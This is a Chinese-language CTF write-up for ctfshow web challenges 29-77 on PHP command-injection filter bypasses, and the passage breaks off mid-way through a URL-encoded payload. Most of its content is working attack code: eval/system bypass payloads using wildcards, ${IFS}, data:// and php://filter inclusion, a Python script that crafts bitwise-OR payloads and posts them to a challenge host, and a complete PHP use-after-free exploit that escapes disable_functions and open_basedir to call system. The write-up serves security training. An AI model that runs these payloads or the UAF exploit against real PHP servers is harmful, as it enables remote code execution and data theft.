ctfshow-web-命令执行(web29-77、web118-124)
web29
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
eval函数的命令执行,首先输入?c=system("ls%20/");
bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var
?c=system("ls%20");
flag.php index.php
代码过滤了flag,使用?c=system("cat%20fl\ag.php");(也可以用?c=system(“cat fla*”);
?
c=system("cat%20fla?.php");等等)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:14:07
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:14:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$flag = 'ctfshow{d3058577-d477-438c-a0c3-48a2f6cc7436}';
web30
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
?c=echo%20exec("ls");
index.php
?c=echo%20exec("cat%20fla*");
$flag = 'ctfshow{802f8491-e72f-499a-9e44-5dc3b8abb966}';
web31
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
?c=echo%09exec("nl%09fla*");
%09代替空格,nl代替cat。
hint中用的是:
show_source(next(array_reverse(scandir(pos(localeconv())))));
web32
发现连括号都过滤了,这次使用文件包含(两种方法):
?c=$n=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php
?c=$n=include$_GET["url"]?>&url=data://text/plain,<?php%20system("cat%20flag.php");%20?>
web33
双引号也过滤了,
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
与web32类似,去掉双引号去可。
?c=$nice=include$_GET[url]?>&url=data://text/plain,<?php%20system("cat%20flag.php");%20?>
web34
与上面33没区别,一样的payload即可。
web35
一样,多过滤个等于号,payload:
?c=include$_GET[url]?>&url=data://text/plain,<?php%20system("cat%20flag*");%20?>
web36
用于web35相同的payload。
web37
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
include (或 require)语句会获取指定文件中存在的所有文本/代码/标记,并复制到使用 include 语句的文件中。
伪协议中的data://
,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
data://协议用法:
data://text/plain,
data://text/plain;base64,
payload: c=data://text/plain,<?php system("cat f*")?> //查看flag.php,右键源码中查找flag
payload: c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKT8+
//'base64,'后面是base64加密的<?php system('cat flag.php')?>
web38
payload使用base64加密即可:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk/Pg==
web39
?c=data://text/plain,<?php%20system("cat%20f*")?>
这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用,结果显示:
$flag="ctfshow{8affac8f-f3e0-4348-9e17-80a1136bf019}";.php
web40
发现“.”被过滤了,利用无参数命令执行:
print_r(scandir(pos(localeconv())));
show_source(array_rand(array_flip(scandir(pos(localeconv())))));
对无参数命令执行可以看看这个wp:
web41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
分析正则,貌似过滤了所有数字和小写字母,后面还有个/i,大写字母也没了其实看到这种全过滤,反倒是只有一种解法,就是构造字符串& 按位与 |按位或 ^ 按位异或 ~取反 为四大位运算符,其中按位异 | 没有过滤,过滤的字符是防异或、自增和取反构造字符,网上看到师傅的脚本直接就用了。
import re
import requests
url="http://5265d5aa-b694-4d1f-94c7-70183d41a233.challenge.ctf.show/"
a=[]
ans1=""
ans2=""
for i in range(0,256):
c=chr(i)
tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
if(tmp):
continue
#print(tmp.group(0))
else:
a.append(i)
# eval("echo($c);");
mya="system" #函数名 这里修改!
myb="cat flag.php" #参数
def myfun(k,my):
global ans1
global ans2
for i in range (0,len(a)):
for j in range(i,len(a)):
if(a[i]|a[j]==ord(my[k])):
ans1+=chr(a[i])
ans2+=chr(a[j])
return;
for k in range(0,len(mya)):
myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"
data={"c":data1+data2}
print(data)
r=requests.post(url=url,data=data)
print(r.text)
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
通过>/dev/null 2>&1
把输出的内容不进行回显,相当于一个“黑洞”,我们通过“;”进行截断,回显出flag:
?c=cat%20fla*;
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
我是用的或:
?c=tac%20fla*||
|| &&这两个可以进行截断,但需要注意的是&&需要进行url编码,这样才能成功执行:
tac flag.php||or tac flag.php%26%26
web44
与上一题一样的payload即可:
?c=tac%20fla*||
web45
多过滤个空格,利用%09代替即可:
?c=tac%09fla*||
web46
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
利用nl代替cat,过滤flag利用fl''ag,payload:
nl<fla''g.php||
tac%09fla?.php||
可以继续使用%09代替空格,因为%09是编码,浏览器对他自动解码为一个水平制表符,而不是为数字。
web47
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
仍然可以使用前面的payload:
tac%09fla?.php||
web48
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
仍然是前面的payload:
tac%09fla?.php||
web49
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
与前一题一样:
tac%09fla?.php||
web50
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
可以利用<>代替空格,
?c=tac<>fla%27%27g.php||
?c=nl<fla%27%27g.php||或?c=nl<>fla%27%27g.php||
web51
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=nl<fla%27%27g.php|| 或 ta\c<>fla\g.php|| 或 nl<>fla\g.php||
web52
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤空格、“<>"、”%09“,那就用${IFS}代替空格:
?c=nl${IFS}/fla%27%27g||
?c=nl$IFS/fla''g||
web53
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
?c=ca\t${IFS}fla\g.php
?c''at${IFS}fla''g.p''hp
web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
payload:
可以理解为当前目录运行cat命令实际上运行的也是bin/cat,而通配符不会帮你去找到bin下面的cat
只会在当前目录寻找能通配的文件,所以用通配符运行时必须给出路径。
?c=/bin/?at${IFS}f???????
或者利用paste读取文件:
?c=paste${IFS}fla?.php
web55
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
没有过滤数字和“?”,猜测到应该是用linux通配符进行rce,这里有两种方法:
第一种:可以用bin
下的base64
命令(为啥用base64
?因为它含有数字64可以用????64
来匹配,其他命令无法匹配到)
正常的命令为/bin/base64 flag.php
过滤了字母后用?匹配
payload:c=/???/????64 ????????
第二种:参考了Firebasky师傅的wp以及p神的文章
在linux shell中,.可以用当前的shell执行一个文件中的命令,比如.file就是执行file文件中的命令。所以本题可以post上传一个包含命令的文件,然后通过.来执行文件中的命令即可读到flag。
但有个问题,怎么去找到我们上传的文件呢?
当我们post上传一个文件后,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机生成的大小写字母。想当然的我们会用/???/?????????去匹配这个文件。
这里又会出现一个问题:符合这样的文件有好几个,这样其实匹配不到刚刚上传的文件。
翻阅p神文章可以知道,与正则表达式类似,glob支持利用[0-9]来表示一个范围,所以我们可以用[A-Z]来匹配文件的最后一位,但因为过滤了字母,需要把A改为A的前一位@,把Z改为Z的后一位[来匹配大写字母。
那么最终payload为c=. /???/????????[@-[]
?c=.+/???/????????[@-[]
这里说下为什么要匹配大写字母,因为其实用/???/?????????匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母,不过因为是随机生成的大写字母,不一定每次都是大写,可以多试几下。
首先构造一个post数据包:(可以用postman或者用下面代码)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://28398f19-aaaa-438b-9f2a-0fc40d8151c8.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
抓包并修改上传文件为“1.php”:
web56
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
数字过滤了,不能使用base64匹配了,但是可以使用上面的第二种方法:
payload:
?c=.+/???/????????[@-[]
其余与上一题相同。
web57
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
让c等于36即可,看hint发现这道题考点是这个:
shell中各种括号()、(())、[]、[[]]、{}的作用和区别:
${_}:代表上一次命令执行的结果
$(()): 做运算
之前没有命令返回或者执行,结果应该是空,与""等价
又 $((""))值为0,$((~$((""))))值为-1,再做拼接:
$((~$(($((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))$((~$((${_}))))))))
所以可以拼接得到-37 , -37取反得到36。
web58
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
发现system被禁用,使用这两个payload发现可以:
c=echo file_get_contents('flag.php');
c=show_source('flag.php');
web59、60、61、62、63、64、65
与web58一样,但是file_get_contents被禁了,只能用show_source了。
web66
show_source被过滤了,那么使用:
c=print_r(scandir("/"));
c=highlight_file('/flag.txt');
web67
发现print_r也被过滤了,莫名其妙试了一下:
c=highlight_file('/flag.txt');
发现得到了flag。
web68
show_source()和highlight_file()被禁用:
c=include('/flag.txt');
web69
c=var_export(scandir("/"));
c=include('/flag.txt');
web70
和web69相同。
c=var_export(scandir('/'));
c=include('/flag.txt');
web71
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
ob_get_contents() - 返回输出缓冲区的内容
ob_flush() - 冲刷出(送出)输出缓冲区中的内容
ob_clean() - 清空(擦掉)输出缓冲区
ob_end_flush() - 冲刷出(送出)输出缓冲区内容并关闭缓冲
ob_end_clean() - 清空(擦除)缓冲区并关闭输出缓冲
flush() - 刷新输出缓冲
可以利用php代码在执行完eval后退出:
c=include('/flag.txt');exit(0);
c=include('/flag.txt');exit();
web72
c=var_export(scandir('.'));exit();
但是发现老办法行不通,首先他的位置换了,你输入include(‘/flag.txt’);他会找不到文件,其次,没有权限。使用scandir(‘/‘);exit();会报错。
Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1
Warning: scandir(/): failed to open dir: Operation not permitted in /var/www/html/index.php(19) : eval()'d code on line 1
Warning: scandir(): (errno 1): Operation not permitted in /var/www/html/index.php(19) : eval()'d code on line 1
所以使用glob://伪协议绕过open_basedir,payload为
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
#记得url编码
%3F%3E%3C%3Fphp%20%24a%3Dnew%20DirectoryIterator(%22glob%3A%2F%2F%2F*%22)%3B%0Aforeach(%24a%20as%20%24f)%0A%7Becho(%24f-%3E__toString().'%20')%3B%0A%7D%0Aexit(0)%3B%0A%3F%3E
发现flag0.txt,传统方法进行读取:
发现没有权限,利用uaf绕过open_basedir执行命令:
<?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
url编码后:
%0Afunction%20ctfshow(%24cmd)%20%7B%0A%20%20%20%20global%20%24abc%2C%20%24helper%2C%20%24backtrace%3B%0A%0A%20%20%20%20class%20Vuln%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%3B%0A%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3Ea)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20(new%20Exception)-%3EgetTrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5B1%5D%5B'args'%5D))%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3D%20debug_backtrace()%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20class%20Helper%20%7B%0A%20%20%20%20%20%20%20%20public%20%24a%2C%20%24b%2C%20%24c%2C%20%24d%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20str2ptr(%26%24str%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24address%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24j%20%3D%20%24s-1%3B%20%24j%20%3E%3D%200%3B%20%24j--)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3C%3C%3D%208%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7C%3D%20ord(%24str%5B%24p%2B%24j%5D)%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24address%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20ptr2str(%24ptr%2C%20%24m%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%0A%20%20%20%20%20%20%20%20for%20(%24i%3D0%3B%20%24i%20%3C%20%24m%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20sprintf(%22%25c%22%2C(%24ptr%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20return%20%24out%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20write(%26%24str%2C%20%24p%2C%20%24v%2C%20%24n%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20%24i%20%3D%200%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24n%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24str%5B%24p%20%2B%20%24i%5D%20%3D%20sprintf(%22%25c%22%2C(%24v%20%26%200xff))%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3E%3E%3D%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20leak(%24addr%2C%20%24p%20%3D%200%2C%20%24s%20%3D%208)%20%7B%0A%20%20%20%20%20%20%20%20global%20%24abc%2C%20%24helper%3B%0A%20%20%20%20%20%20%20%20write(%24abc%2C%200x68%2C%20%24addr%20%2B%20%24p%20-%200x10)%3B%0A%20%20%20%20%20%20%20%20%24leak%20%3D%20strlen(%24helper-%3Ea)%3B%0A%20%20%20%20%20%20%20%20if(%24s%20!%3D%208)%20%7B%20%24leak%20%25%3D%202%20%3C%3C%20(%24s%20*%208)%20-%201%3B%20%7D%0A%20%20%20%20%20%20%20%20return%20%24leak%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20parse_elf(%24base)%20%7B%0A%20%20%20%20%20%20%20%20%24e_type%20%3D%20leak(%24base%2C%200x10%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20%24e_phoff%20%3D%20leak(%24base%2C%200x20)%3B%0A%20%20%20%20%20%20%20%20%24e_phentsize%20%3D%20leak(%24base%2C%200x36%2C%202)%3B%0A%20%20%20%20%20%20%20%20%24e_phnum%20%3D%20leak(%24base%2C%200x38%2C%202)%3B%0A%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24e_phnum%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3D%20%24base%20%2B%20%24e_phoff%20%2B%20%24i%20*%20%24e_phentsize%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3D%20leak(%24header%2C%200%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3D%20leak(%24header%2C%204%2C%204)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3D%20leak(%24header%2C%200x10)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3D%20leak(%24header%2C%200x28)%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%206)%20%7B%20%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3D%20%24e_type%20%3D%3D%202%20%3F%20%24p_vaddr%20%3A%20%24base%20%2B%20%24p_vaddr%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20if(%24p_type%20%3D%3D%201%20%26%26%20%24p_flags%20%3D%3D%205)%20%7B%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3D%20%24p_memsz%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%0A%20%20%20%20%20%20%20%20if(!%24data_addr%20%7C%7C%20!%24text_size%20%7C%7C%20!%24data_size)%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3B%0A%0A%20%20%20%20%20%20%20%20return%20%5B%24data_addr%2C%20%24text_size%2C%20%24data_size%5D%3B%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_basic_funcs(%24base%2C%20%24elf)%20%7B%0A%20%20%20%20%20%20%20%20list(%24data_addr%2C%20%24text_size%2C%20%24data_size)%20%3D%20%24elf%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%20%24data_size%20%2F%208%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20%24i%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x746e6174736e6f63)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24data_addr%2C%20(%24i%20%2B%204)%20*%208)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3E%200%20%26%26%20%24leak%20-%20%24base%20%3C%20%24data_addr%20-%20%24base)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3D%20leak(%24leak)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3D%200x786568326e6962)%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20continue%3B%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2B%20%24i%20*%208%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%0A%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7B%0A%20%20%20%20%20%20%20%20%24base%20%3D%200%3B%0A%20%20%20%20%20%20%20%20%24start%20%3D%20%24binary_leak%20%26%200xfffffffffffff000%3B%0A%20%20%20%20%20%20%20%20for(%24i%20%3D%200%3B%20%24i%20%3C%200x1000%3B%20%24i%2B%2B)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3D%20%24start%20-%200x1000%20*%20%24i%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3D%20leak(%24addr%2C%200%2C%207)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3D%3D%200x10102464c457f)%20%7B%0A%20%20%20%20%2